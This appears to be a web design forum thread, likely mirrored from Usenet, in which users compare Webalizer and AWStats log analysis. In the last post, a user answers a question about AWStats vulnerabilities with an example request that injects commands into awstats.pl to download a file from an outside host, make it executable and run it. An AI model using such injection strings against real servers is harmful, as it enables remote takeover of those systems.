![]() | ![]() | ![]() |
| |||||||
| Forums | Register | Groups | Awards | Arcade | Pets | T-Bucks / T-Store | Invite Your Friends | Blogs | Mark Forums Read |
| Web Design Forums and discussions on webdesign |
Web Design | |||||||||
|
|
|
|
| |||||
![]() |
| | LinkBack | Thread Tools |
| | #1 (permalink) |
| Civilians | I am not entirely sure if it is off-topic or not, but for what it's worth, here I go... In the past, until about a year ago, I was using Webalizer exclusively. Once I discovered AWStats, I never went back, but I now see great anomalies in the logs that are generated. Keywords for search show a completely different picture, some of the figures differ significantly and I begin to wonder if I should check _both_ on a regular basis. Can anyone please advise? What should I use to pick out the most information? Roy -- Roy S. Schestowitz http://Schestowitz.com |
|
| | #2 (permalink) |
| Civilians | trevor wrote: > in all, web stat analysis can be like SEO: you have to know where to draw > the line and not obsess about it. i'd recommend pulling your weblogs down > locally then using something like WUsage or other freeware to analyze > them yourself. i haven't been this obsessive in years, so i'm out of date > on the cool software. when you run it locally you get to configure for > the whole feature set of reporting, and believe me, most inexpensive ISPs > don't give you anything like the full feature reporting. you should be > able to follow detail down to the path of a single IP ADDR through your > whole site and out again. > > but again, that level of analysis, frankly i only encounter this where > there's a marketing team that's separate from the development team which > is separate from the webmaster/admin crew. nobody has time. I agree with your point. I found that too much time can be spent tracing sources, looking at SERP's, etc. It sure is helpful to know some facts, for example: -Who references me? Should I back-reference? -What are the most popular pages? Should I polish these? -How often is a piece of software/code being downloaded? -Are any hidden pages being penetrated? -Are ratbots spidering, thereby stealing much traffic? I guess it is yet another proof that gigahertz technology handles so much information that we, insignificant minds, just can't cope with. The best we can do is employ better tools like error logs that filter usage logs. Roy -- Roy S. Schestowitz http://Schestowitz.com |
|
| | #3 (permalink) |
| Civilians | Roy Schestowitz wrote: > I am on 6.3. Now you got me worried. > What vulnerabilities? It goes along the lines of: GET /awstats.pl?config=foo;wget%20http://badman.ru/exploit;chmod%20755%20exploit;./exploit; I'm sure you can guess what that does. -- Toby A Inkster BSc (Hons) ARCS Contact Me ~ http://tobyinkster.co.uk/contact |
|
![]() |
| Bookmarks |
| Thread Tools | |
| |
Similar Threads | ||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| how accurate is awstats? | Heidi | Web Design | 4 | 09-22-2005 12:00 |
| Cpanel - Awstats- Frequency of Update ? | Arnie Goetchius | Web Design | 12 | 08-05-2005 00:00 |
| Webalizer Stats? | Heidi | Web Design | 11 | 05-18-2005 16:00 |
| AWStats details for URLs | Kevin Kane | Web Design | 7 | 11-03-2004 16:00 |
| webalizer with special log file format | Hans Mayr | Web Design | 0 | 07-29-2004 16:02 |
![]() | ![]() | ![]() |